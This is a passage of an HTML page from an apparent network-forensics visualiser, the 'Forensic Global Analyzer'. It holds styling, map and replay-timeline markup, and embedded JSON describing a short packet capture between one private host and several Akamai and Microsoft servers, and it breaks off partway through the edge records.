var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"10.152.152.11\", \"ip\": \"10.152.152.11\", \"packet_count\": 136, \"total_bytes_sent\": 7742, \"total_bytes_received\": 46337, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [63946, 63964, 63997, 64004, 64007], \"first_seen\": 1782655301.456189, \"last_seen\": 1782655313.923485, \"packets\": [{\"num\": 86, \"time\": 1782655310.471705, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 87, \"time\": 1782655310.475832, \"size\": 194, \"direction\": \"received\"}, {\"num\": 88, \"time\": 1782655310.476086, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 89, \"time\": 1782655311.002214, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 90, \"time\": 1782655311.00224, \"size\": 66, \"direction\": \"received\"}, {\"num\": 91, \"time\": 1782655311.002336, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 92, \"time\": 1782655311.002526, \"size\": 262, \"direction\": \"sent\"}, {\"num\": 93, \"time\": 1782655311.002532, \"size\": 54, \"direction\": \"received\"}, {\"num\": 94, \"time\": 1782655311.353068, \"size\": 1518, \"direction\": \"received\"}, {\"num\": 95, \"time\": 1782655311.35317, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 96, \"time\": 1782655311.356534, \"size\": 542, \"direction\": \"received\"}, {\"num\": 97, \"time\": 1782655311.35663, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 98, \"time\": 1782655311.357064, \"size\": 3470, \"direction\": \"received\"}, {\"num\": 99, \"time\": 1782655311.357175, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 100, \"time\": 1782655311.398729, \"size\": 1030, \"direction\": \"received\"}, {\"num\": 101, \"time\": 1782655311.398939, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 102, \"time\": 1782655311.401391, \"size\": 1855, \"direction\": \"received\"}, {\"num\": 103, \"time\": 1782655311.401524, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 104, \"time\": 1782655311.408439, \"size\": 212, \"direction\": \"sent\"}, {\"num\": 105, \"time\": 1782655311.40845, \"size\": 54, \"direction\": \"received\"}, {\"num\": 106, \"time\": 1782655311.748113, \"size\": 481, \"direction\": \"received\"}, {\"num\": 107, \"time\": 1782655311.74831, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 108, \"time\": 1782655311.749098, \"size\": 141, \"direction\": \"sent\"}, {\"num\": 109, \"time\": 1782655311.749108, \"size\": 54, \"direction\": \"received\"}, {\"num\": 110, \"time\": 1782655311.749115, \"size\": 170, \"direction\": \"sent\"}, {\"num\": 111, \"time\": 1782655311.749118, \"size\": 54, \"direction\": \"received\"}, {\"num\": 112, \"time\": 1782655311.749165, \"size\": 92, \"direction\": \"sent\"}, {\"num\": 113, \"time\": 1782655311.749173, \"size\": 54, \"direction\": \"received\"}, {\"num\": 114, \"time\": 1782655312.06732, \"size\": 1204, \"direction\": \"received\"}, {\"num\": 115, \"time\": 1782655312.067566, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 116, \"time\": 1782655312.068332, \"size\": 118, \"direction\": \"sent\"}, {\"num\": 117, \"time\": 1782655312.068343, \"size\": 54, \"direction\": \"received\"}, {\"num\": 118, \"time\": 1782655312.644909, \"size\": 651, \"direction\": \"received\"}, {\"num\": 119, \"time\": 1782655312.645173, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 120, \"time\": 1782655312.646407, \"size\": 124, \"direction\": \"sent\"}, {\"num\": 121, \"time\": 1782655312.646427, \"size\": 54, \"direction\": \"received\"}, {\"num\": 122, \"time\": 1782655313.070222, \"size\": 994, \"direction\": \"received\"}, {\"num\": 123, \"time\": 1782655313.070585, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 124, \"time\": 1782655313.07601, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 125, \"time\": 1782655313.076246, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 126, \"time\": 1782655313.076324, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 127, \"time\": 1782655313.335746, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 128, \"time\": 1782655313.335797, \"size\": 66, \"direction\": \"received\"}, {\"num\": 129, \"time\": 1782655313.336029, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 130, \"time\": 1782655313.336089, \"size\": 459, \"direction\": \"sent\"}, {\"num\": 131, \"time\": 1782655313.336094, \"size\": 54, \"direction\": \"received\"}, {\"num\": 132, \"time\": 1782655313.923107, \"size\": 4102, \"direction\": \"received\"}, {\"num\": 133, \"time\": 1782655313.923268, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 134, \"time\": 1782655313.923291, \"size\": 417, \"direction\": \"received\"}, {\"num\": 135, \"time\": 1782655313.923485, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": true, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 12.467296123504639, \"avg_packet_size\": 397.6397058823529, \"packets_per_second\": 10.90854012391658}, {\"id\": \"184.30.157.69\", \"ip\": \"184.30.157.69\", \"packet_count\": 23, \"total_bytes_sent\": 13368, \"total_bytes_received\": 1795, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1782655301.456189, \"last_seen\": 1782655304.012618, \"packets\": [{\"num\": 0, \"time\": 1782655301.456189, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1782655301.456194, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1782655301.456428, \"size\": 54, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1782655301.457061, \"size\": 240, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1782655301.457067, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 5, \"time\": 1782655301.822713, \"size\": 2982, \"direction\": \"sent\"}, {\"num\": 6, \"time\": 1782655301.82291, \"size\": 54, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1782655301.87062, \"size\": 830, \"direction\": \"sent\"}, {\"num\": 8, \"time\": 1782655301.874956, \"size\": 180, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1782655301.874997, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 10, \"time\": 1782655302.447482, \"size\": 328, \"direction\": \"sent\"}, {\"num\": 11, \"time\": 1782655302.457232, \"size\": 549, \"direction\": \"received\"}, {\"num\": 12, \"time\": 1782655302.45725, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 13, \"time\": 1782655302.789684, \"size\": 2494, \"direction\": \"sent\"}, {\"num\": 14, \"time\": 1782655302.789831, \"size\": 54, \"direction\": \"received\"}, {\"num\": 15, \"time\": 1782655302.819337, \"size\": 3470, \"direction\": \"sent\"}, {\"num\": 16, \"time\": 1782655302.819548, \"size\": 54, \"direction\": \"received\"}, {\"num\": 17, \"time\": 1782655302.849285, \"size\": 2295, \"direction\": \"sent\"}, {\"num\": 18, \"time\": 1782655302.849441, \"size\": 54, \"direction\": \"received\"}, {\"num\": 19, \"time\": 1782655303.20488, \"size\": 436, \"direction\": \"received\"}, {\"num\": 20, \"time\": 1782655303.204897, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 26, \"time\": 1782655303.96552, \"size\": 687, \"direction\": \"sent\"}, {\"num\": 27, \"time\": 1782655304.012618, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"The Netherlands\", \"city\": \"Haarlem\", \"lat\": 52.3803, \"lon\": 4.6422, \"asn\": 16625, \"isp\": \"Akamai Technologies, Inc.\", \"network\": \"184.30.156.0/22\"}, \"duration\": 2.556429147720337, \"avg_packet_size\": 659.2608695652174, \"packets_per_second\": 8.996924487623668}, {\"id\": \"40.99.204.34\", \"ip\": \"40.99.204.34\", \"packet_count\": 34, \"total_bytes_sent\": 8142, \"total_bytes_received\": 1758, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1782655303.319875, \"last_seen\": 1782655313.07601, \"packets\": [{\"num\": 21, \"time\": 1782655303.319875, \"size\": 66, \"direction\": \"received\"}, {\"num\": 22, \"time\": 1782655303.319935, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 23, \"time\": 1782655303.320111, \"size\": 54, \"direction\": \"received\"}, {\"num\": 24, \"time\": 1782655303.32159, \"size\": 257, \"direction\": \"received\"}, {\"num\": 25, \"time\": 1782655303.321608, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 28, \"time\": 1782655304.243009, \"size\": 4102, \"direction\": \"sent\"}, {\"num\": 29, \"time\": 1782655304.243256, \"size\": 54, \"direction\": \"received\"}, {\"num\": 30, \"time\": 1782655304.243307, \"size\": 374, \"direction\": \"sent\"}, {\"num\": 31, \"time\": 1782655304.24342, \"size\": 54, \"direction\": \"received\"}, {\"num\": 32, \"time\": 1782655304.52713, \"size\": 212, \"direction\": \"received\"}, {\"num\": 33, \"time\": 1782655304.527152, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 34, \"time\": 1782655305.0228, \"size\": 481, \"direction\": \"sent\"}, {\"num\": 35, \"time\": 1782655305.02309, \"size\": 54, \"direction\": \"received\"}, {\"num\": 36, \"time\": 1782655305.025511, \"size\": 141, \"direction\": \"received\"}, {\"num\": 37, \"time\": 1782655305.025549, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 38, \"time\": 1782655305.025574, \"size\": 168, \"direction\": \"received\"}, {\"num\": 39, \"time\": 1782655305.025585, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 40, \"time\": 1782655305.025613, \"size\": 92, \"direction\": \"received\"}, {\"num\": 41, \"time\": 1782655305.025617, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 42, \"time\": 1782655305.379026, \"size\": 92, \"direction\": \"sent\"}, {\"num\": 43, \"time\": 1782655305.379203, \"size\": 54, \"direction\": \"received\"}, {\"num\": 44, \"time\": 1782655305.455095, \"size\": 1160, \"direction\": \"sent\"}, {\"num\": 45, \"time\": 1782655305.455314, \"size\": 54, \"direction\": \"received\"}, {\"num\": 46, \"time\": 1782655305.455957, \"size\": 118, \"direction\": \"received\"}, {\"num\": 47, \"time\": 1782655305.455986, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 48, \"time\": 1782655305.801129, \"size\": 753, \"direction\": \"sent\"}, {\"num\": 49, \"time\": 1782655305.801334, \"size\": 54, \"direction\": \"received\"}, {\"num\": 50, \"time\": 1782655305.804054, \"size\": 164, \"direction\": \"received\"}, {\"num\": 51, \"time\": 1782655305.804068, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 52, \"time\": 1782655306.796007, \"size\": 542, \"direction\": \"sent\"}, {\"num\": 53, \"time\": 1782655306.796352, \"size\": 54, \"direction\": \"received\"}, {\"num\": 54, \"time\": 1782655306.853391, \"size\": 194, \"direction\": \"sent\"}, {\"num\": 55, \"time\": 1782655306.853607, \"size\": 54, \"direction\": \"received\"}, {\"num\": 124, \"time\": 1782655313.07601, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"The Netherlands\", \"city\": \"Amsterdam\", \"lat\": 52.3759, \"lon\": 4.8975, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"40.99.204.0/24\"}, \"duration\": 9.756134986877441, \"avg_packet_size\": 291.1764705882353, \"packets_per_second\": 3.4849866310513273}, {\"id\": \"52.97.183.194\", \"ip\": \"52.97.183.194\", \"packet_count\": 34, \"total_bytes_sent\": 7999, \"total_bytes_received\": 1723, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1782655307.448829, \"last_seen\": 1782655313.076246, \"packets\": [{\"num\": 56, \"time\": 1782655307.448829, \"size\": 66, \"direction\": \"received\"}, {\"num\": 57, \"time\": 1782655307.448844, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 58, \"time\": 1782655307.449142, \"size\": 54, \"direction\": \"received\"}, {\"num\": 59, \"time\": 1782655307.449517, \"size\": 260, \"direction\": \"received\"}, {\"num\": 60, \"time\": 1782655307.449524, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 61, \"time\": 1782655307.847303, \"size\": 2006, \"direction\": \"sent\"}, {\"num\": 62, \"time\": 1782655307.847444, \"size\": 54, \"direction\": \"received\"}, {\"num\": 63, \"time\": 1782655307.858611, \"size\": 2466, \"direction\": \"sent\"}, {\"num\": 64, \"time\": 1782655307.858782, \"size\": 54, \"direction\": \"received\"}, {\"num\": 65, \"time\": 1782655307.862162, \"size\": 212, \"direction\": \"received\"}, {\"num\": 66, \"time\": 1782655307.862188, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 67, \"time\": 1782655308.352906, \"size\": 481, \"direction\": \"sent\"}, {\"num\": 68, \"time\": 1782655308.353041, \"size\": 54, \"direction\": \"received\"}, {\"num\": 69, \"time\": 1782655308.353768, \"size\": 141, \"direction\": \"received\"}, {\"num\": 70, \"time\": 1782655308.353791, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 71, \"time\": 1782655308.353847, \"size\": 92, \"direction\": \"received\"}, {\"num\": 72, \"time\": 1782655308.353851, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 73, \"time\": 1782655308.353933, \"size\": 170, \"direction\": \"received\"}, {\"num\": 74, \"time\": 1782655308.35394, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 75, \"time\": 1782655309.006791, \"size\": 542, \"direction\": \"sent\"}, {\"num\": 76, \"time\": 1782655309.007017, \"size\": 54, \"direction\": \"received\"}, {\"num\": 77, \"time\": 1782655309.027131, \"size\": 611, \"direction\": \"sent\"}, {\"num\": 78, \"time\": 1782655309.027467, \"size\": 54, \"direction\": \"received\"}, {\"num\": 79, \"time\": 1782655309.028165, \"size\": 118, \"direction\": \"received\"}, {\"num\": 80, \"time\": 1782655309.028169, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 81, \"time\": 1782655309.576379, \"size\": 713, \"direction\": \"sent\"}, {\"num\": 82, \"time\": 1782655309.576533, \"size\": 54, \"direction\": \"received\"}, {\"num\": 83, \"time\": 1782655309.581627, \"size\": 124, \"direction\": \"received\"}, {\"num\": 84, \"time\": 1782655309.581636, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 85, \"time\": 1782655310.47162, \"size\": 542, \"direction\": \"sent\"}, {\"num\": 86, \"time\": 1782655310.471705, \"size\": 54, \"direction\": \"received\"}, {\"num\": 87, \"time\": 1782655310.475832, \"size\": 194, \"direction\": \"sent\"}, {\"num\": 88, \"time\": 1782655310.476086, \"size\": 54, \"direction\": \"received\"}, {\"num\": 125, \"time\": 1782655313.076246, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"The Netherlands\", \"city\": \"Amsterdam\", \"lat\": 52.3759, \"lon\": 4.8975, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"52.97.183.192/27\"}, \"duration\": 5.627417087554932, \"avg_packet_size\": 285.94117647058823, \"packets_per_second\": 6.041848235346055}, {\"id\": \"52.97.250.242\", \"ip\": \"52.97.250.242\", \"packet_count\": 36, \"total_bytes_sent\": 12189, \"total_bytes_received\": 1779, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1782655311.002214, \"last_seen\": 1782655313.076324, \"packets\": [{\"num\": 89, \"time\": 1782655311.002214, \"size\": 66, \"direction\": \"received\"}, {\"num\": 90, \"time\": 1782655311.00224, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 91, \"time\": 1782655311.002336, \"size\": 54, \"direction\": \"received\"}, {\"num\": 92, \"time\": 1782655311.002526, \"size\": 262, \"direction\": \"received\"}, {\"num\": 93, \"time\": 1782655311.002532, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 94, \"time\": 1782655311.353068, \"size\": 1518, \"direction\": \"sent\"}, {\"num\": 95, \"time\": 1782655311.35317, \"size\": 54, \"direction\": \"received\"}, {\"num\": 96, \"time\": 1782655311.356534, \"size\": 542, \"direction\": \"sent\"}, {\"num\": 97, \"time\": 1782655311.35663, \"size\": 54, \"direction\": \"received\"}, {\"num\": 98, \"time\": 1782655311.357064, \"size\": 3470, \"direction\": \"sent\"}, {\"num\": 99, \"time\": 1782655311.357175, \"size\": 54, \"direction\": \"received\"}, {\"num\": 100, \"time\": 1782655311.398729, \"size\": 1030, \"direction\": \"sent\"}, {\"num\": 101, \"time\": 1782655311.398939, \"size\": 54, \"direction\": \"received\"}, {\"num\": 102, \"time\": 1782655311.401391, \"size\": 1855, \"direction\": \"sent\"}, {\"num\": 103, \"time\": 1782655311.401524, \"size\": 54, \"direction\": \"received\"}, {\"num\": 104, \"time\": 1782655311.408439, \"size\": 212, \"direction\": \"received\"}, {\"num\": 105, \"time\": 1782655311.40845, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 106, \"time\": 1782655311.748113, \"size\": 481, \"direction\": \"sent\"}, {\"num\": 107, \"time\": 1782655311.74831, \"size\": 54, \"direction\": \"received\"}, {\"num\": 108, \"time\": 1782655311.749098, \"size\": 141, \"direction\": \"received\"}, {\"num\": 109, \"time\": 1782655311.749108, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 110, \"time\": 1782655311.749115, \"size\": 170, \"direction\": \"received\"}, {\"num\": 111, \"time\": 1782655311.749118, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 112, \"time\": 1782655311.749165, \"size\": 92, \"direction\": \"received\"}, {\"num\": 113, \"time\": 1782655311.749173, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 114, \"time\": 1782655312.06732, \"size\": 1204, \"direction\": \"sent\"}, {\"num\": 115, \"time\": 1782655312.067566, \"size\": 54, \"direction\": \"received\"}, {\"num\": 116, \"time\": 1782655312.068332, \"size\": 118, \"direction\": \"received\"}, {\"num\": 117, \"time\": 1782655312.068343, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 118, \"time\": 1782655312.644909, \"size\": 651, \"direction\": \"sent\"}, {\"num\": 119, \"time\": 1782655312.645173, \"size\": 54, \"direction\": \"received\"}, {\"num\": 120, \"time\": 1782655312.646407, \"size\": 124, \"direction\": \"received\"}, {\"num\": 121, \"time\": 1782655312.646427, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 122, \"time\": 1782655313.070222, \"size\": 994, \"direction\": \"sent\"}, {\"num\": 123, \"time\": 1782655313.070585, \"size\": 54, \"direction\": \"received\"}, {\"num\": 126, \"time\": 1782655313.076324, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"The Netherlands\", \"city\": \"Amsterdam\", \"lat\": 52.3759, \"lon\": 4.8975, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"52.97.250.192/26\"}, \"duration\": 2.0741100311279297, \"avg_packet_size\": 388.0, \"packets_per_second\": 17.356841951351395}, {\"id\": \"23.143.152.86\", \"ip\": \"23.143.152.86\", \"packet_count\": 9, \"total_bytes_sent\": 4639, \"total_bytes_received\": 687, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [80], \"first_seen\": 1782655313.335746, \"last_seen\": 1782655313.923485, \"packets\": [{\"num\": 127, \"time\": 1782655313.335746, \"size\": 66, \"direction\": \"received\"}, {\"num\": 128, \"time\": 1782655313.335797, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 129, \"time\": 1782655313.336029, \"size\": 54, \"direction\": \"received\"}, {\"num\": 130, \"time\": 1782655313.336089, \"size\": 459, \"direction\": \"received\"}, {\"num\": 131, \"time\": 1782655313.336094, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 132, \"time\": 1782655313.923107, \"size\": 4102, \"direction\": \"sent\"}, {\"num\": 133, \"time\": 1782655313.923268, \"size\": 54, \"direction\": \"received\"}, {\"num\": 134, \"time\": 1782655313.923291, \"size\": 417, \"direction\": \"sent\"}, {\"num\": 135, \"time\": 1782655313.923485, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 400798, \"isp\": \"Pittsburgh Internet Exchange\", \"network\": \"23.143.152.0/24\"}, \"duration\": 0.5877389907836914, \"avg_packet_size\": 591.7777777777778, \"packets_per_second\": 15.312919750311949}];\n        const edges = [{\"source\": \"10.152.152.11\", \"target\": \"184.30.157.69\", \"packet_count\": 11, \"total_bytes\": 1795, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [63946], \"dst_ports\": [443], \"first_packet\": 1782655301.456189, \"last_packet\": 1782655304.012618, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1782655301.456189, \"timestamp_iso\": \"2026-06-28T19:31:41.456189\", \"timestamp_human\": \"2026-06-28 19:31:41.456\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 12207, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63946, \"dst_port\": 443, \"tcp_seq\": 1308797173, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 2, \"timestamp\": 1782655301.456428, \"timestamp_iso\": \"2026-06-28T19:31:41.456428\", \"timestamp_human\": \"2026-06-28 